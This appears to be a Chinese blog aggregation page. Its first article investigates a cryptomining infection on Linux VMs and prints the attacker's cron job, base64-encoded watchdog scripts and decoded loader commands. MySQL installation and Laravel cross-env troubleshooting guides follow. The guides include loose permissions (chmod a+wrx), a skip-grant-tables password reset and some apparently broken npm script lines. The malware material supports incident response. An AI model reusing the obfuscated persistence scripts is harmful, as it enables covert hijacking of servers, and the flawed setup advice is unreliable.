• 平台集群中的虚拟机,存在异常进程“ld-linux-x86-64”,占用了大量cpu资源。其次,重启虚拟机之后,虚拟机的操作系统ROOT用户密码会被修改,初步判断原因为被黑客攻击。 二、探索: 安装杀毒软件clamav 1040...

    一、现象:

    平台集群中的虚拟机,存在异常进程“ld-linux-x86-64”,占用了大量cpu资源。其次,重启虚拟机之后,虚拟机的操作系统ROOT用户密码会被修改,初步判断原因为被黑客攻击。

    二、探索:

    安装杀毒软件clamav

    1040  yum install clamd -y

     1043  freshclam

     1049  service clamd start

     1052  chkconfig clamd on

     1053  clamdscan -V

     1054  clamscan -r / --move=/tmp

    附clamscan命令参数说明:

    1、 全盘扫描:# clamscan -r /

    2、 扫描到病毒后立即删除(慎用):# clamscan -r / --remove

    3、 扫描到病毒后立即移动到/tmp目录:# clamscan -r / --move=/tmp

    4、 生成扫描日志文件:# clamscan/tmp/1.txt -l /var/log/clamscan.log

    5、 常用选项:

    (1) --quiet:只打印错误信息

    (2) -i | --infected:只打印被感染的文件

    (3) --remove[=yes/no(*)]:移除被感染的文件

    (4) --move=DIRECTORY:将被感染的文件移至指定目录

    (5) --copy=DIRECTORY:将被感染的文件复制至指定目录

    (6) --exclude=REGEX:不扫描与正则表达式匹配的文件

    (7) --exclude-dir=REGEX:不扫描与正则表达式匹配的目录

    (8) --include=REGEX:只扫描与正则表达式匹配的文件

    (9) --include-dir=REGEX:只扫描与正则表达式匹配的目录

    -----------扫描摘要-----------

    已知病毒:6778248

    发动机版本:0.100.2

    扫描目录:24595

    扫描文件:136784

    受感染的文件:3

    总错误:6043

    扫描数据:8724.49 MB

    数据读取:8392.82 MB(比率1.04:1

    ---------------------------------

    删除感染文件之后,问题依然在,暂时排除病毒的可能。

    三、突破:

    由于问题进程杀了又起来,换言之“杀不死”,那么一定有程序在监控并拉起它。最简单的实现方式就是利用Linux系统的“crontab”了。Crontab定时器通常用来执行定时任务或周期性任务,使用起来简单方便。于是随手检查了一下定时任务列表,终端键入命令“crontab -l”,发现:

            * * * * * /sbin/upd >/dev/null 2>&1

            意思是:/sbin/upd脚本每分钟执行一次,执行的返回内容不输出到控制台。

    脚本内容是:

    #!/usr/bin/env bash

    echo 'IyEvYmluL3NoCmlmIHRlc3QgLXIgL3NiaW4vaW5pdGN0MTsgdGhlbgpwaWQ9JChjYXQgL3NiaW4v

    aW5pdGN0MSkKaWYgJChraWxsIC1DSExEICRwaWQgPi9kZXYvbnVsbCAyPiYxKQp0aGVuCnNsZWVw

    IDEKZWxzZQpjZCAvc2JpbgouL21rZTNmcyAmPi9kZXYvbnVsbApleGl0IDAKZmkKZmkK' | base64 -di | sh

    显然,这是一个加密了的脚本,根据后面的“bash64 -di”

    意思应该是用bash64编码方式解码,再后面的“sh”,意思是执行 解码后的内容。

    清理相关文件:

    1.清除定时器中的定时任务

    2.杀掉异常进程

    3.删掉分析出的所有涉及脚本及可执行文件

       rm -rf /sbin/upd

       rm -rf /sbin/initct1

       rm -rf /sbin/mke3fs

       rm -rf /sbin/s1n

       rm -rf /sbin/ld-linux-x86-64.so.2

       rm -rf /sbin/libpthread.so.1

    4.修改root用户密码

    四、分析:

    涉及的脚本

    1)/sbin/upd

    脚本原文

    #!/usr/bin/env bash
    echo 'IyEvYmluL3NoCmlmIHRlc3QgLXIgL3NiaW4vaW5pdGN0MTsgdGhlbgpwaWQ9JChjYXQgL3NiaW4v
    aW5pdGN0MSkKaWYgJChraWxsIC1DSExEICRwaWQgPi9kZXYvbnVsbCAyPiYxKQp0aGVuCnNsZWVw
    IDEKZWxzZQpjZCAvc2JpbgouL21rZTNmcyAmPi9kZXYvbnVsbApleGl0IDAKZmkKZmkK' | base64 -di | sh
    

    脚本解码后的真实内容

    #!/bin/sh
    if test -r /sbin/initct1; then
    pid=$(cat /sbin/initct1)
    if $(kill -CHLD $pid >/dev/null 2>&1)
    then
    sleep 1
    else
    cd /sbin
    ./mke3fs &>/dev/null
    exit 0
    fi
    fi
    

    功能:

            进程守护

    2)/sbin/upd

    脚本原文

    #!/usr/bin/env bash
    
    echo 'IyEvYmluL2Jhc2gKLi9zMW4gLXMgIi1iYXNoIiAtcCBpbml0Y3QxIC4vbGQtbGludXgteDg2LTY0
    
    LnNvLjIgLS1saWJyYXJ5LXBhdGggLiAuL2xpYnB0aHJlYWQuc28uMSA+Pi9kZXYvbnVsbCAmCg==' | base64 -di | sh

    脚本解码后的真实内容

    #!/bin/bash
    ./s1n -s "-bash" -p initct1 ./ld-linux-x86-64.so.2 --library-path . ./libpthread.so.1 >>/dev/null &
    

    功能:

            实现主功能(挖矿以及其他不可说的任务)

    3)/sbin/initct1

    功能:用来存放 进程ID。

    可执行文件

     

    /sbin/s1n

    /sbin/ld-linux-x86-64.so.2

    /sbin/libpthread.so.1

    展开全文
  • Linux下安装mysql详解从官网下载mysql-5.6.12-linux-glibc2.5-x86_64.tar.gz创建mysql用户[root@Master home]# useradd mysql [root@Master data]# echo 'mysql'|passwd --stdin mysql 更改用户 mysql 的密码 。 ...

    Linux下安装mysql详解

    从官网下载mysql-5.6.12-linux-glibc2.5-x86_64.tar.gz

    创建mysql用户

    [root@Master home]# useradd mysql
    [root@Master data]# echo 'mysql'|passwd --stdin mysql
    更改用户 mysql 的密码 。
    passwd: 所有的身份验证令牌已经成功更新。

    创建mysql用户的原因

    不用mysql用户会出现一下错误,尝试了很多次,添加mysql用户安装成功
    
    *当然很多时候我们已经创建好别的用户,来完成日常的操作如果不创建mysql用户,修改mysql/bin目录下的mysqld_safe文件;   //亲测成功
    具体步骤:
    [root@Master bin]# vim mysqld_safe
    user='mysql' 修改为 user='hadoop' //自己的用户  后边步骤基本相同*
    
    [root@Slave1 data]# service mysql start
    Starting MySQL...... ERROR! The server quit without updating PID file (/home/hadoop/ruanJian/mysql/data/Slave1.Hadoop.pid).
    
    [root@Master data]#vim Slave1.Hadoop.err  //查看日志文件
    160830 15:56:44 mysqld_safe Starting mysqld daemon with databases from /home/hadoop/ruanJian/mysql/data
    2016-08-30 15:56:49 0 [Warning] TIMESTAMP with implicit DEFAULT value is deprecated. Please use --explicit_defaults_for_timestamp server option (see documentation for more details).
    2016-08-30 15:56:49 1990 [ERROR] Fatal error: Can't change to run as user 'mysql' ;  Please check that the user exists!
    
    2016-08-30 15:56:49 1990 [ERROR] Aborting
    
    2016-08-30 15:56:49 1990 [Note] Binlog end
    2016-08-30 15:56:49 1990 [Note] /home/hadoop/ruanJian/mysql/bin/mysqld: Shutdown complete
    
    160830 15:56:49 mysqld_safe mysqld from pid file /home/hadoop/ruanJian/mysql/data/Slave1.Hadoop.pid ended

    在mysql用户下创建data目录并解压

    [root@Master data]# tar -zxvf mysql-5.6.12-linux-glibc2.5-x86_64.tar.gz
    [root@Master data]# mv mysql-5.6.12-linux-glibc2.5-x86_64 mysql  //重命名

    设置权限

    [root@Master data]# chown -R mysql:mysql mysql

    切换用户并进入mysql/scripts 目录

    [root@Master data]# su mysql
    [mysql@Master data]$ cd mysql/scripts/
    [mysql@Master scripts]$

    安装(目录根据自己的mysql解压目录自行设置)

    [mysql@Master scripts]$ ./mysql_install_db --user=mysql --basedir=/home/mysql/data/mysql --datadir=/home/mysql/data/mysql/data 

    输出信息

    Installing MySQL system tables...2016-08-30 19:55:41 0 [Warning] TIMESTAMP with implicit DEFAULT value is deprecated. Please use --explicit_defaults_for_timestamp server option (see documentation for more details).
    2016-08-30 19:55:42 1354 [Warning] Buffered warning: Changed limits: max_open_files: 1024 (requested 5000)
    
    2016-08-30 19:55:42 1354 [Warning] Buffered warning: Changed limits: table_cache: 431 (requested 2000)
    
    2016-08-30 19:55:42 1354 [Note] InnoDB: The InnoDB memory heap is disabled
    2016-08-30 19:55:42 1354 [Note] InnoDB: Mutexes and rw_locks use GCC atomic builtins
    2016-08-30 19:55:42 1354 [Note] InnoDB: Compressed tables use zlib 1.2.3
    2016-08-30 19:55:42 1354 [Note] InnoDB: Using Linux native AIO
    2016-08-30 19:55:42 1354 [Note] InnoDB: Not using CPU crc32 instructions
    2016-08-30 19:55:42 1354 [Note] InnoDB: Initializing buffer pool, size = 128.0M
    2016-08-30 19:55:42 1354 [Note] InnoDB: Completed initialization of buffer pool
    2016-08-30 19:55:42 1354 [Note] InnoDB: The first specified data file ./ibdata1 did not exist: a new database to be created!
    2016-08-30 19:55:42 1354 [Note] InnoDB: Setting file ./ibdata1 size to 12 MB
    2016-08-30 19:55:42 1354 [Note] InnoDB: Database physically writes the file full: wait...
    2016-08-30 19:55:42 1354 [Note] InnoDB: Setting log file ./ib_logfile101 size to 48 MB
    2016-08-30 19:55:43 1354 [Note] InnoDB: Setting log file ./ib_logfile1 size to 48 MB
    2016-08-30 19:55:44 1354 [Note] InnoDB: Renaming log file ./ib_logfile101 to ./ib_logfile0
    2016-08-30 19:55:44 1354 [Warning] InnoDB: New log files created, LSN=45781
    2016-08-30 19:55:44 1354 [Note] InnoDB: Doublewrite buffer not found: creating new
    2016-08-30 19:55:44 1354 [Note] InnoDB: Doublewrite buffer created
    2016-08-30 19:55:44 1354 [Note] InnoDB: 128 rollback segment(s) are active.
    2016-08-30 19:55:44 1354 [Warning] InnoDB: Creating foreign key constraint system tables.
    2016-08-30 19:55:44 1354 [Note] InnoDB: Foreign key constraint system tables created
    2016-08-30 19:55:44 1354 [Note] InnoDB: Creating tablespace and datafile system tables.
    2016-08-30 19:55:44 1354 [Note] InnoDB: Tablespace and datafile system tables created.
    2016-08-30 19:55:44 1354 [Note] InnoDB: Waiting for purge to start
    2016-08-30 19:55:44 1354 [Note] InnoDB: 5.6.12 started; log sequence number 0
    2016-08-30 19:55:44 1354 [Note] Binlog end
    2016-08-30 19:55:44 1354 [Note] InnoDB: FTS optimize thread exiting.
    2016-08-30 19:55:44 1354 [Note] InnoDB: Starting shutdown...
    2016-08-30 19:55:46 1354 [Note] InnoDB: Shutdown completed; log sequence number 1625977
    OK
    
    Filling help tables...2016-08-30 19:55:46 0 [Warning] TIMESTAMP with implicit DEFAULT value is deprecated. Please use --explicit_defaults_for_timestamp server option (see documentation for more details).
    2016-08-30 19:55:46 1377 [Warning] Buffered warning: Changed limits: max_open_files: 1024 (requested 5000)
    
    2016-08-30 19:55:46 1377 [Warning] Buffered warning: Changed limits: table_cache: 431 (requested 2000)
    
    2016-08-30 19:55:46 1377 [Note] InnoDB: The InnoDB memory heap is disabled
    2016-08-30 19:55:46 1377 [Note] InnoDB: Mutexes and rw_locks use GCC atomic builtins
    2016-08-30 19:55:46 1377 [Note] InnoDB: Compressed tables use zlib 1.2.3
    2016-08-30 19:55:46 1377 [Note] InnoDB: Using Linux native AIO
    2016-08-30 19:55:46 1377 [Note] InnoDB: Not using CPU crc32 instructions
    2016-08-30 19:55:46 1377 [Note] InnoDB: Initializing buffer pool, size = 128.0M
    2016-08-30 19:55:46 1377 [Note] InnoDB: Completed initialization of buffer pool
    2016-08-30 19:55:46 1377 [Note] InnoDB: Highest supported file format is Barracuda.
    2016-08-30 19:55:46 1377 [Note] InnoDB: 128 rollback segment(s) are active.
    2016-08-30 19:55:46 1377 [Note] InnoDB: Waiting for purge to start
    2016-08-30 19:55:46 1377 [Note] InnoDB: 5.6.12 started; log sequence number 1625977
    2016-08-30 19:55:46 1377 [Note] Binlog end
    2016-08-30 19:55:46 1377 [Note] InnoDB: FTS optimize thread exiting.
    2016-08-30 19:55:46 1377 [Note] InnoDB: Starting shutdown...
    2016-08-30 19:55:48 1377 [Note] InnoDB: Shutdown completed; log sequence number 1625987
    OK
    
    To start mysqld at boot time you have to copy
    support-files/mysql.server to the right place for your system
    
    PLEASE REMEMBER TO SET A PASSWORD FOR THE MySQL root USER !
    To do so, start the server, then issue the following commands:
    
      /home/mysql/data/mysql/bin/mysqladmin -u root password 'new-password'
      /home/mysql/data/mysql/bin/mysqladmin -u root -h Master.Hadoop password 'new-password'
    
    Alternatively you can run:
    
      /home/mysql/data/mysql/bin/mysql_secure_installation
    
    which will also give you the option of removing the test
    databases and anonymous user created by default.  This is
    strongly recommended for production servers.
    
    See the manual for more instructions.
    
    You can start the MySQL daemon with:
    
      cd . ; /home/mysql/data/mysql/bin/mysqld_safe &
    
    You can test the MySQL daemon with mysql-test-run.pl
    
      cd mysql-test ; perl mysql-test-run.pl
    
    Please report any problems with the ./bin/mysqlbug script!
    
    The latest information about MySQL is available on the web at
    
      http://www.mysql.com
    
    Support MySQL by buying support/licenses at http://shop.mysql.com
    
    New default config file was created as /home/mysql/data/mysql/my.cnf and
    will be used by default by the server when you start it.
    You may edit this file to change server settings
    
    WARNING: Default config file /etc/my.cnf exists on the system
    This file will be read by default by the MySQL server
    If you do not want to use this, either remove it, or use the
    --defaults-file argument to mysqld_safe when starting the server

    配置文件

    [mysql@Master scripts]$ cd ../support-files/
    [root@Master support-files]# cp my-default.cnf /etc/my.cnf
    [root@Master support-files]# cp mysql.server /etc/init.d/mysql
    [root@Master support-files]# vim /etc/init.d/mysql  //修改mysql文件
    
    添加以下两行
    basedir=/home/mysql/data/mysql
    datadir=/home/mysql/data/mysql/data

    配置环境变量

    [root@Master support-files]# vim /etc/profile
    
    #set mysql environment
    export MYSQL_HOME=/home/mysql/data/mysql
    export PATH=$MYSQL_HOME/bin:$PATH

    配置mysql服务开机自动启动

    [root@Master bin]# chkconfig --add mysql      //添加mysql
    [root@Master bin]# chkconfig mysql on         //设置开机启动

    启动mysql

    [root@Master support-files]# service mysql start
    env: /etc/init.d/mysql: 权限不够   //如果出现这个提示 执行以下命令重新启动
    [root@Master support-files]# chmod a+wrx /etc/init.d/mysql
    
    [root@Master support-files]# service mysql start
    Starting MySQL.. SUCCESS!       //启动成功

    设置root登录密码

    [root@Master ~]# cd /home/mysql/data/mysql/bin/    //进去mysql的bin目录
    
    [root@Master bin]# ./mysqladmin -u root password 'password'  //'password' 为自己设置的密码引号非必须
    
    [root@Master bin]# ./mysqladmin -u root password mysql
    [root@Master bin]# mysql -u root -p
    Enter password: 
    Welcome to the MySQL monitor.  Commands end with ; or \g.
    Your MySQL connection id is 4
    Server version: 5.6.12 MySQL Community Server (GPL)
    
    Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.
    
    Oracle is a registered trademark of Oracle Corporation and/or its
    affiliates. Other names may be trademarks of their respective
    owners.
    
    Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
    
    mysql>      

    安装尝试了很多次,仅代表自己的安装过程

    展开全文
  • 当执行了npm run dev命令来编译前端资源时,经常会遇到一个报错,类似这样: > Code@1.0.0 dev /home/vagrant/Code > cross-env NODE_ENV=development webpack --progress --hide-... Linux 4....

    当执行了npm run dev命令来编译前端资源时,经常会遇到一个报错,类似这样:

    > Code@1.0.0 dev /home/vagrant/Code
    > cross-env NODE_ENV=development webpack --progress --hide-modules
    
    sh: 1: cross-env: not found
    
    npm ERR! Linux 4.4.0-51-generic
    npm ERR! argv "/usr/local/bin/node" "/usr/local/bin/npm" "run" "dev"
    npm ERR! node v7.8.0
    npm ERR! npm  v4.2.0
    npm ERR! file sh
    npm ERR! code ELIFECYCLE
    npm ERR! errno ENOENT
    npm ERR! syscall spawn
    npm ERR! Code@1.0.0 dev: `cross-env NODE_ENV=development webpack --progress --hide-modules`
    npm ERR! spawn ENOENT
    
    

    或者说:

    npm ERR! Failed at the @ dev script 'cross-env NODE_ENV=development webpack --progress --hide-modules --config=node_modules/laravel-mix/setup/webpack.config.js'.
    
    

    可能你具体的错误提示还稍有差异,不过这里先不管它,重点在于问题是出在cross-env这个组件上。

    这个cross-env是个什么鬼?有什么用?

    Most Windows command prompts will choke when you set environment variables with NODE_ENV=production like that. (The exception is Bash on Windows, which uses native Bash.) Similarly, there's a difference in how windows and POSIX commands utilize environment variables. With POSIX, you use: $ENV_VAR and on windows you use %ENV_VAR%.
    
    

    好吧,又是微软Windows的锅~也即是我们在windows系统上使用NODE_ENV=production这样的方式来设置node环境时,因为windows的系统变量是%ENV_VAR%这种格式,而“行业标准”是$ENV_VAR这样的,当然windows上的bash例外。

    那么为了解决这个跨平台环境变量的问题,就有了cross-env这个组件。知道这些个有啥用呢?

    用处是,cross-env只是用在windows系统上的,在Mac和Linux系统上没用,不需要装,装了反而会坏事儿~

    所以从这一点上,你的问题其实有两种可能:

    1. 你的项目环境是Windows系统,你没有装cross-env,或者说因为路径等其他原因调用不到它。
    2. 你的项目环境是Linux或Mac,这个时候你没必要装cross-env,但是你却装了,或者说laravel默认带了,而且装就装吧,路径调用往往还有错
    3. 这里特别的是,如果你是用的Homestead开发环境,因为你虚拟机里是Linux,所以如果你在Host主机上去操作,那你就是Windows环境,如果你vagrant ssh进了虚拟机操作,那么就是Linux环境;

    所以解决办法也要基于你的项目开发环境:

    一、 Linux(Homestead)或Mac环境下:

    你要做的,只是将你的package.json文件中的cross-env删掉即可:

    "dev": "node  NODE_ENV=development node_modules/webpack/bin/webpack.js --progress --hide-modules --config=node_modules/laravel-mix/setup/webpack.config.js",
    "watch": "node NODE_ENV=development node_modules/webpack/bin/webpack.js --watch --progress --hide-modules --config=node_modules/laravel-mix/setup/webpack.config.js",
    "watch-poll": "node NODE_ENV=development node_modules/webpack/bin/webpack.js --watch --watch-poll --progress --hide-modules --config=node_modules/laravel-mix/setup/webpack.config.js",
    "hot": "node NODE_ENV=development node_modules/webpack-dev-server/bin/webpack-dev-server.js --inline --hot --config=node_modules/laravel-mix/setup/webpack.config.js",
    "production": "node NODE_ENV=production node_modules/webpack/bin/webpack.js --progress --hide-modules --config=node_modules/laravel-mix/setup/webpack.config.js"
    
    

    二、 Windows系统下(WAMP、MAMP)

    1. 首先你需要装一下cross-env,执行:
    npm install --save-dev cross-env  --no-bin-links
    
    

    或者你也可以全局安装一下cross-env,以防止以后在其他项目也出现类似错误:

    npm install -g cross-env  --no-bin-links
    
    
    1. package.json文件中的cross-env调用换成具体路径node_modules/cross-env/dist/bin/cross-env.js,最终类似这样:
    "dev": "node node_modules/cross-env/dist/bin/cross-env.js NODE_ENV=development node_modules/webpack/bin/webpack.js --progress --hide-modules --config=node_modules/laravel-mix/setup/webpack.config.js",
    "watch": "node node_modules/cross-env/dist/bin/cross-env.js NODE_ENV=development node_modules/webpack/bin/webpack.js --watch --progress --hide-modules --config=node_modules/laravel-mix/setup/webpack.config.js",
    "watch-poll": "node node_modules/cross-env/dist/bin/cross-env.js NODE_ENV=development node_modules/webpack/bin/webpack.js --watch --watch-poll --progress --hide-modules --config=node_modules/laravel-mix/setup/webpack.config.js",
    "hot": "node node_modules/cross-env/dist/bin/cross-env.js NODE_ENV=development node_modules/webpack-dev-server/bin/webpack-dev-server.js --inline --hot --config=node_modules/laravel-mix/setup/webpack.config.js",
    "production": "node node_modules/cross-env/dist/bin/cross-env.js NODE_ENV=production node_modules/webpack/bin/webpack.js --progress --hide-modules --config=node_modules/laravel-mix/setup/webpack.config.js"
    
    
    1. 保险起见,再执行一下npm install --no-bin-links
    2. 然后再去执行npm run dev来试试

    为什么会出来这么多梗?甚至很多人因此诟病laravel 5.4不友好——直接下载全新安装都跑不起来

    因为一直到laravel 5.4.15,laravel的package.json是这样的:

    {
      "private": true,
      "scripts": {
        "dev": "node node_modules/cross-env/bin/cross-env.js NODE_ENV=development node_modules/webpack/bin/webpack.js --progress --hide-modules --config=node_modules/laravel-mix/setup/webpack.config.js",
        "watch": "node node_modules/cross-env/bin/cross-env.js NODE_ENV=development node_modules/webpack/bin/webpack.js --watch --progress --hide-modules --config=node_modules/laravel-mix/setup/webpack.config.js",
        "watch-poll": "node node_modules/cross-env/bin/cross-env.js NODE_ENV=development node_modules/webpack/bin/webpack.js --watch --watch-poll --progress --hide-modules --config=node_modules/laravel-mix/setup/webpack.config.js",
        "hot": "node node_modules/cross-env/bin/cross-env.js NODE_ENV=development node_modules/webpack-dev-server/bin/webpack-dev-server.js --inline --hot --config=node_modules/laravel-mix/setup/webpack.config.js",
        "production": "node node_modules/cross-env/bin/cross-env.js NODE_ENV=production node_modules/webpack/bin/webpack.js --progress --hide-modules --config=node_modules/laravel-mix/setup/webpack.config.js"
      },
      "devDependencies": {
        "axios": "^0.15.3",
        "bootstrap-sass": "^3.3.7",
        "jquery": "^3.1.1",
        "laravel-mix": "^0.8.1",
        "lodash": "^4.17.4",
        "vue": "^2.1.10"
      }
    }
    
    

    可以看到它的devDependencies里没有依赖cross-env,但是在上方声明了cross-env的路径:node_modules/cross-env/bin/cross-env.js,因为laravel-mix这个组件里用到了cross-env。但是没多久,cross-env的作者对组件路径做了更改,将cross-env/bin换成了cross-env/dist,于是在这个laravel commit里,package.json文件里更改了cross-env的路径,同时"devDependencies"里加上了"cross-env": "^3.2.3",然后没几天,作者们意识到既然依赖了cross-env,就没必要上面写具体路径了,所以在这个laravel commit里,package.json文件变成这样:

    {
      "private": true,
      "scripts": {
        "dev": "cross-env NODE_ENV=development node_modules/webpack/bin/webpack.js --progress --hide-modules --config=node_modules/laravel-mix/setup/webpack.config.js",
        "watch": "cross-env NODE_ENV=development node_modules/webpack/bin/webpack.js --watch --progress --hide-modules --config=node_modules/laravel-mix/setup/webpack.config.js",
        "watch-poll": "cross-env NODE_ENV=development node_modules/webpack/bin/webpack.js --watch --watch-poll --progress --hide-modules --config=node_modules/laravel-mix/setup/webpack.config.js",
        "hot": "cross-env NODE_ENV=development node_modules/webpack-dev-server/bin/webpack-dev-server.js --inline --hot --config=node_modules/laravel-mix/setup/webpack.config.js",
        "production": "cross-env NODE_ENV=production node_modules/webpack/bin/webpack.js --progress --hide-modules --config=node_modules/laravel-mix/setup/webpack.config.js"
      },
      "devDependencies": {
        "axios": "^0.15.3",
        "bootstrap-sass": "^3.3.7",
        "cross-env": "^3.2.3",
        "jquery": "^3.1.1",
        "laravel-mix": "^0.8.1",
        "lodash": "^4.17.4",
        "vue": "^2.1.10"
      }
    }
    
    

    这期间呢,laravel-mix的作者Jeffway看到laravel里依赖了cross-env,所以他就在laravel-mix里直接取消了对cross-env的依赖,因为没必要重复安装,这直接导致了一系列问题的发生。而且这期间,laravel里对cross-env的依赖一直停留在"cross-env": "^3.2.3",直到5.4.30,才突然变成"cross-env": "^5.0.1". 所以呢,取决于你所使用的laravel和laravel-mix的版本,可能是你package.json里没有cross-env而报错,也可能是路径变了以后没更新,也可能是laravel调用的版本一直太低,因为这期间你可能执行了composer updatenpm update这些命令而导致两者的小版本都发生变化,所以说不清道不明的问题就发生了。

     

    最后补充

    首先进入package.json文件,
    将scripts下的所有cross-env删除掉,(devDependencies下的不能删除)

    然后执行: npm install –no-bin-links

    如果这个过程有报错,需要再次执行:npm install –no-bin-links

    其次执行:yarn install –no-bin-links

    最后执行编译命令:npm run dev 或者 npm run watch-poll

    好了,完美解决此问题!



    作者:呂鳳先
    链接:https://www.jianshu.com/p/6733ef8fd745
    來源:简书
    简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。

    展开全文
  • Linux中安装mysql数据库(mysql-5.6.39-linux-glibc2.12-x86_64.tar.gz) 原因 记录在linux中安装mysql数据库(二进制版)遇到的困难,因为百度很多安装的方式都不能一次完整安装,所以为了防止下一次重新花费更多的时间,...

    Linux中安装mysql数据库(mysql-5.6.39-linux-glibc2.12-x86_64.tar.gz)

    原因

    记录在linux中安装mysql数据库(二进制版)遇到的困难,因为百度很多安装的方式都不能一次完整安装,所以为了防止下一次重新花费更多的时间,所以记录一下.

    步骤

    一. 下载linux版本的mysql数据库

    1.百度输入mysql,到mysql官网进行下载

    在这里插入图片描述

    2.官网点击download->community->mysql community server,到达选择版本的页面
    在这里插入图片描述
    3.我使用的是5.6.39版本的数据库,在页面可以选择,如果最新版本,页面往下拉就可以看到最新版本的下载页面
    在这里插入图片描述
    4.点击mysql community server 5.6后跳到下面这个页面,因为我使用的是二进制版本的数据库,所以在第二个框中选择linux-generic,找到对应的位数版本,标题下有显示是什么类型的.我们要下的是以tar.gz后缀版本
    在这里插入图片描述
    5.选好版本后点击download,跳到下载页面
    在这里插入图片描述

    二. 在linux中安装mysql数据库

    1. 下载的安装包上传到linux中

    2. 在安装mysql数据库之情,需要安装一些环境,如下:

    yum -y install autoconf wget
    在这里插入图片描述

    3. 安装完相关软件后, 添加mysql运行是所需要的用户mysql,如下:

    useradd -M -s /sbin/nologin mysql

    cat /etc/passwd |grep mysql

    cat /etc/group |grep mysql

    在这里插入图片描述

    4. 找到上传的mysql安装包,解压到指定文件夹,并修改名字为mysql

    tar –zxvf mysql-5.6.39-linux-glibc2.12-x86_64.tar.gz

    cp mysql-5.6.39-linux-glibc2.12-x86_64 /usr/local/mysql –r

    5. 跳转到解压的文件夹

    cd /usr/local/mysql/
    在这里插入图片描述
    6. 如果解压后的文件夹下有data文件夹,则不用创建data文件夹,如果没有,创建一个,赋予mysql文件夹读取权限

    mkdir -p /usr/local/mysql/data

    chown -R mysql:mysql /usr/local/mysql/
    在这里插入图片描述
    7. 创建mysql5.6的启动脚本,如下

    cp /usr/local/mysql/support-files/mysql.server /etc/init.d/mysqld

    8. 修改启动项中的配置文件

    vim /etc/init.d/mysqld

    basedir=/usr/local/mysql

    datadir=/usr/local/mysql/data
    在这里插入图片描述
    9. 修改启动项的权限

    chmod +x /etc/init.d/mysqld

    10. 初始化mysql5.6,使用如下命令

    cd /usr/local/mysql/scripts/

    ./mysql_install_db –user=mysql –basedir=/usr/local/mysql –datadir=/usr/local/mysql/data

    出现错误:

    在这里插入图片描述
    解决方式(使用下列代码代替上面这段,可以解决问题):

    /usr/local/mysql/scripts/mysql_install_db --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data &
    

    11. 创建mysql5.6的my.cnf文件,如下:

    cd /usr/local/mysql/support-files

    cp my-default.cnf /etc/my.cnf

    注意:如果出现是否覆盖,选择覆盖,因为在安装linux的时候安装了mysql,会自动创建一个my.cnf文件
    在这里插入图片描述
    12. 把mysql5.6添加到环境变量

    vim /etc/profile
    export PATH=$PATH:/usr/local/mysql/bin
    在这里插入图片描述
    (要插入的位置是在profile最下面)

    source /etc/profile

    env
    在这里插入图片描述
    13 . 启动mysql5.6,使用如下命令:

    1.	启动的方式有两种:
    

    /etc/init.d/mysqld start

    或者

    service mysqld start
    在这里插入图片描述
    2. 检测3306端口是否被开启

    netstat -tunlp |grep 3306
    在这里插入图片描述
    如果出现了上面的代码,说明已经安装成功了

    14. 设置mysql的root用户登录密码,如下

    /usr/local/mysql/bin/mysqladmin -u root password ‘密码’

    mysql -h127.0.0.1 -uroot –p密码
    在这里插入图片描述
    出现错误:
    在这里插入图片描述

    解决方式:
    出现错误的原因是因为/var/lib/mysql/下没有mysql.sock,解决的方式是创建一个,但是这个文件有点特殊,不能进行复制,所以最后通过在/etc/my.cnf中添加一段代码:

    	# 一般配置选项
    	basedir = /usr/local/mysql
    	datadir = /usr/local/mysql/data
    	port = 3306
    	socket =/var/lib/mysql/mysql.sock
    	character-set-server=utf8
    	back_log = 300
    	max_connections = 3000
    	max_connect_errors = 50
    	table_open_cache = 4096
    	max_allowed_packet = 32M
    	#binlog_cache_size = 4M
    	max_heap_table_size = 128M
    	read_rnd_buffer_size = 16M
    	sort_buffer_size = 16M
    	join_buffer_size = 16M
    	thread_cache_size = 16
    	query_cache_size = 128M
    	query_cache_limit = 4M
    	ft_min_word_len = 8
    	thread_stack = 512K
    	transaction_isolation = REPEATABLE-READ
    	tmp_table_size = 128M
    	#log-bin=mysql-bin
    	long_query_time = 6
    	server_id=1
    	innodb_buffer_pool_size = 1G
    	innodb_thread_concurrency = 16
    	innodb_log_buffer_size = 16M
    	innodb_log_file_size = 512M
    	innodb_log_files_in_group = 3
    	innodb_max_dirty_pages_pct = 90
    	innodb_lock_wait_timeout = 120
    	innodb_file_per_table = on
    	[mysqldump]
    	quick
    	max_allowed_packet = 32M
    	[mysql]
    	no-auto-rehash
    	default-character-set=utf8
    	safe-updates
    	[myisamchk]
    	key_buffer = 16M
    	sort_buffer_size = 16M
    	read_buffer = 8M
    	write_buffer = 8M
    	[mysqlhotcopy]
    	interactive-timeout
    	[mysqld_safe]
    	open-files-limit = 8192
    

    其实关键就一个地方:

    socket=/var/lib/mysql/mysql.sock
    

    设置完成后,保存,然后重启mysql服务,会自动在var/lib/mysql下自动创建mysql.sock文件
    解决这个困难后,有出现了另一困难:
    在这里插入图片描述
    说明之前的密码还是没有设置成功,所以需要重新设置密码.解决办法,采用的办法是采用跳过密码验证的方式,登录mysql,然后重置密码.

    重置密码

    1.在/etc/my.cnf中的[mysqld]后面添加” skip-grant-tables”用来跳过密码验证的过程,如下图所示:

    vim /etc/my.cnf

    2.按 i 进入插入操作,添加这一行代码
    在这里插入图片描述
    3.添加完成后,按esc,输入:wq,保存退出

    4.重启mysql服务

    service mysqld restart
    在这里插入图片描述

    5.重新输入mysql 进入数据库
    在这里插入图片描述
    6.接下来使用sql修改root的密码

    mysql> use mysql;
    mysql> update user set password=password('新密码') where user='root';
    

    出现错误:
    在这里插入图片描述
    解决方式:

    出现这个问题的原因是: mysql有个叫SQL_SAFE_UPDATES的变量,为了数据库更新操作的安全性,此值默认为1,所以才会出现更新失败的情况。
    所以需要设置这个变量为0或off(更改是临时的,重启后失效)

    mysql> set sql_safe_updates=0;   
    

    在这里插入图片描述
    或者

    mysql> set sql_safe_updates=off;
    
    mysql> flush privileges;
    
    mysql> quit
    

    6.然后在my.cnf中去掉刚才添加的内容,然后重启mysql

    登录的方式是:mysql –u root –p 然后会提示enter password
    

    在这里插入图片描述

    密码设置成功

    7.使用可视化界面远程连接数据库

    连接问题:
    设置好连接的参数后,点击连接,出现如下错误
    在这里插入图片描述
    解决方式:

    出现这种情况的原因可能有三种,

    1.网络不通

    可以本地使用ping 进行测试是否是网络不通
    

    2.防火墙拦截

    1)	开放防火墙端口
    2)	添加需要监听的端口
